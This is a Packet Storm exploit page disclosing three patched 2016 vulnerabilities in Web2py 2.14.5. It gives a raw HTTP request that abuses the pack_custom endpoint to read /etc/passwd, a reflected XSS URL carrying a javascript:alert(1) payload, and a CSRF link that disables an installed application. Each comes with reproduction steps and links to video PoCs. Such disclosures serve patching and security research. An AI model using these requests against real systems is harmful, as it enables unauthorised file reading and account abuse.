exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Web2py 2.14.5 CSRF / XSS / Local File Inclusion

Web2py 2.14.5 CSRF / XSS / Local File Inclusion
Posted May 16, 2016
Authored by Nahendra Bhati

Web2py version 2.14.5 suffers from cross site request forgery, cross site scripting, and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, xss, file inclusion, csrf
advisories | CVE-2016-4806, CVE-2016-4807, CVE-2016-4808
SHA-256 | 967983318fc0a206d3dfe9b11f666c89eaa24b3941dd90b7f0560b57b3f2d15a

Web2py 2.14.5 CSRF / XSS / Local File Inclusion

Change Mirror Download
Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF

# Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF
# Reported Date : 2-April-2016
# Fixed Date : 4-April-2016
# Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638
# CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808
# Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms.
# Fix/Patching : Update To Web2py. 2.14.6
# Facebook : https://facebook.com/iambhati
# Twitter : http://twitter.com/NarendraBhatiB
# Detailed POC: http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/
==============================================


LFI(Local File Inclusion): CVE-2016-4806

POST URI - /admin/default/pack_custom/[applicationmame]

Vulnerable Parameter = file

Exploit - file=/etc/passwd

Authentication Required = Yes(Administrator)

Steps To Reproduction

1) HTTP Request

POST /admin/default/pack_custom/[applicationname] HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/admin/default/pack_custom/dasdasdasdad
Cookie: session_id_welcome=asdadasdasdasdasd; session_id_admin=asdasdasdasdasd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3213

file=/etc/passwd

2) After sending this request, Application will prompt you with a file to download as an extension of "w2p".

3) Now we have to unpack this downloaded file using. https://github.com/pigeonflight/web2py-unpacker

I.e.
Command for unpacking w2p file
python web2py-unpacker.py downloadfile.w2p

4) This command will create a folder called "unpack", In this folder there will be an another folder of the application of web2py. In this folder you will found the etc folder, Then into this folder you will get the passwd file.


Video POC - https://www.youtube.com/watch?v=paCvmHgomP4

Full Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

========================================================================

Reflected XSS(Cross Site Scripting) : CVE-2016-4807

GET URI - http://127.0.0.1:8000/admin/default/install_plugin/dasdasdasdad?plugin=math2py&source=anyurl

Vulnerable Parameter - source

Exploit - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

Authentication Required - Yes(Administrator)

Steps To Reproduction

1) Go to this URL - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

2) The parameter "source" value will get reflected on the page on "Here" button.

3) When you will click on that button "Here" XSS payload will get executed.

Video POC - https://www.youtube.com/watch?v=4j9hXJtVNbk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

============================================================================


CSRF(Cross Site Request Forgery): CVE-2016-4808

GET URI - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Exploit - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Authenticated Required - Yes(Administrator)


Steps To Reproduction

1) Suppose we have an application in web2py called "testingapp"

2) An attacker can trick an victim to disable the installed application just By sending this URL to victim - http://127.0.0.1:8000/admin/default/enable/testingapp

Video POC - https://www.youtube.com/watch?v=d4V8qlNrYtk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    6 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close